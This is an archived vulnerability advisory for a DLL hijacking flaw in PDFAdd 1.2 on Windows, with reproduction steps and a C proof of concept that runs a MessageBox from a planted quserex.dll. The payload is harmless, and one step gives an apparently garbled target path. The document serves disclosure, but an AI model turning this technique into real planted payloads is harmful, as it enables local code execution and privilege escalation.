Twenty Year Anniversary

PDFAdd 1.2 DLL Hijacking

PDFAdd 1.2 DLL Hijacking
Posted Jan 3, 2017
Authored by ZwX

PDFAdd version 1.2 suffers from a dll hijacking vulnerability.

tags | exploit
systems | windows
MD5 | d7701fcb4a7a9e3ae54792e767c00f71

PDFAdd 1.2 DLL Hijacking

Change Mirror Download
=====================================================
[#] Exploit Title : PDfAdd 1.2 - DLL Hijacking Vulnerability
[#] Date Discovered : 2016-12-22
[#] Affected Product(s): PDfAdd v1.2 - Software
[#] Exploitation Technique: Local
[#] Severity Level: Medium
[#] Tested OS : Windows 7
=====================================================


[#] Product & Service Introduction:
===================================
PdfAdd is a free and free program that includes several wizards that make it easier to create pdflatex and asymptote graphics most commonly used in high school mathematics programs.
This program is primarily aimed at secondary school teachers using the LaTeX composition system.

(Copy of the Vendor Homepage: http://www.xm1math.net/ )


[#] Technical Details & Description:
====================================
A local dll injection vulnerability has been discovered in the official PDfAdd v1.2 software.
The issue allows local attackers to inject code to vulnerable libraries to compromise the process or to gain higher access privileges.

Vulnerable Software:
[+] PDfAdd

Vulnerable Version(s):
[+] v1.2

Vulnerable Libraries:
[+] quserex.dll


[#] Proof of Concept (PoC):
===========================
The dll hijack vulnerability can be exploited by local attackers with restricted system user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the local vulnerability ...
1. Compile dll and rename to quserex.dll
2. Copy quserex.dll to C:\Program Files\PdfAdd\pdfadd.exe
3. Launch pdfadd.exe
4. MessageBox Executed

-- PoC Exploit --

#include <windows.h>
#define DllExport __declspec (dllexport)

BOOL WINAPI DllMain (
HANDLE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{
dll_hijack();
return 0;
}

int dll_hijack()
{
MessageBox(0, "DLL Hijacking By ZwX!", "DLL Message", MB_OK);
return 0;
}


[#] Disclaimer:
===============
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.
The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.


Domain: www.zwx.fr
Contact: msk4@live.fr
Social: twitter.com/XSSed.fr
Feeds: www.zwx.fr/feed/
Advisory: www.vulnerability-lab.com/show.php?user=ZwX
packetstormsecurity.com/files/author/12026/
iedb.ir/author-ZwX.html
cxsecurity.com/search/author/DESC/AND/FIND/0/10/ZwX/
0day.today/author/27461


Copyright (c) 2017 | ZwX - Security Researcher (Software & web application)

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

December 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    11 Files
  • 2
    Dec 2nd
    1 Files
  • 3
    Dec 3rd
    18 Files
  • 4
    Dec 4th
    40 Files
  • 5
    Dec 5th
    16 Files
  • 6
    Dec 6th
    50 Files
  • 7
    Dec 7th
    12 Files
  • 8
    Dec 8th
    1 Files
  • 9
    Dec 9th
    1 Files
  • 10
    Dec 10th
    15 Files
  • 11
    Dec 11th
    30 Files
  • 12
    Dec 12th
    25 Files
  • 13
    Dec 13th
    7 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close